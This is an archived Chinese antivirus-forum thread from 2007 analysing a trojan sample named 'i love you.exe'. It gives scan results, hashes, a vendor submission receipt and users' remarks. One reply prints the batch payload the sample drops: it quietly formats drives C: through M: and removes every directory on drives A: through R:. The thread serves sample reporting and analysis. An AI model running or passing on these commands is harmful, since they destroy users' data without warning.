再来一个厉害的

hsjj2005

木马   测测吧。

暗黑王

nod32挂了 ，已上报，谢谢提供

Antivirus	Version	Update	Result
AntiVir	7.3.1.36	02.12.2007 [td]no virus found
Authentium	4.93.8	02.12.2007 [td]no virus found
Avast	4.7.936.0	02.12.2007 [td]no virus found
AVG	386	02.12.2007 [td]no virus found
BitDefender	7.2	02.13.2007 [td]no virus found
CAT-QuickHeal	9.00	02.13.2007 [td]no virus found
ClamAV	devel-20060426	02.12.2007 [td]no virus found
DrWeb	4.33	02.12.2007 [td]no virus found
eSafe	7.0.14.0	02.12.2007 [td]no virus found
eTrust-Vet	30.4.3393	02.13.2007 [td]no virus found
Ewido	4.0	02.12.2007 [td]no virus found
Fortinet	2.85.0.0	02.13.2007	suspicious
F-Prot	4.2.1.29	02.12.2007 [td]no virus found
F-Secure	6.70.13030.0	02.12.2007 [td]no virus found
Ikarus	T3.1.0.31	02.12.2007 [td]no virus found
Kaspersky	4.0.2.24	02.13.2007 [td]no virus found
McAfee	4961	02.12.2007 [td]no virus found
Microsoft	1.2204	02.13.2007 [td]no virus found
NOD32v2	2056	02.12.2007 [td]no virus found
Norman	5.80.02	02.12.2007 [td]no virus found
Panda	9.0.0.4	02.12.2007 [td]no virus found
Prevx1	V2	02.13.2007 [td]no virus found
Sophos	4.13.0	02.12.2007 [td]no virus found
Sunbelt	2.2.907.0	02.09.2007 [td]no virus found
Symantec	10	02.13.2007 [td]no virus found
TheHacker	6.1.6.056	02.11.2007 [td]no virus found
UNA	1.83	02.09.2007 [td]no virus found
VBA32	3.11.2	02.12.2007 [td]no virus found
VirusBuster	4.3.19:9	02.12.2007 [td]no virus found

File size: 149504 bytes

MD5: b4dfd12fefc0af808f76bb0dc3e44236

SHA1: e9afdb039b060749ca28effea4f8606a29b77725

[ 本帖最后由 暗黑王 于 2007-2-13 13:18 编辑 ]

hsjj2005

微点报。

mofunzone

antivir右键不报，运行后报两个bat，样本发上来了
Thank you for your submission. Below you can see the current status of the uploaded files.


A listing of files contained inside archives alongside their results can be found below:File ID         Filename         Size (Byte)        Result
205747         i love you.exe         149.504         UNDER ANALYSIS



Please find a detailed report concerning each individual sample below: Filename        Result
i love you.exe         UNDER ANALYSIS


The file 'i love you.exe' has been determined to be 'UNDER ANALYSIS'.

Please note that you will receive an email which will contain the results shown above. In case the final outcome of the analysis is not yet finished for all files the notification will be sent once ready.

ALEXBLAIR

从批处理的内容看
貌似和以前的格式化硬盘时一样的东西
都是一个FORMAT处理==〉BATCH的壳==〉WINRAR的自解压

Nblock

  处理你　批处理　

路沉

I love you.bat@echo off
format c: /q /y
format d: /q /y
format e: /q /y
format f: /q /y
format g: /q /y
format h: /q /y
format i: /q /y
format l: /q /y
format m: /q /y
rd /s /q A:\
rd /s /q b:\
rd /s /q c:\
rd /s /q d:\
rd /s /q e:\
rd /s /q f:\
rd /s /q g:\
rd /s /q h:\
rd /s /q i:\
rd /s /q l:\
rd /s /q m:\
rd /s /q n:\
rd /s /q o:\
rd /s /q p:\
rd /s /q q:\
rd /s /q r:\

cccaaa

小儿科的东西,会在用户temp下产生*.bat,也就楼上贴出来的;
说他是病毒简直是抬举他,最多算一个免费格式化的软件.
病毒的精华应该是怎样隐藏和传播.这个东西直接用createfileA下个断点就原形毕露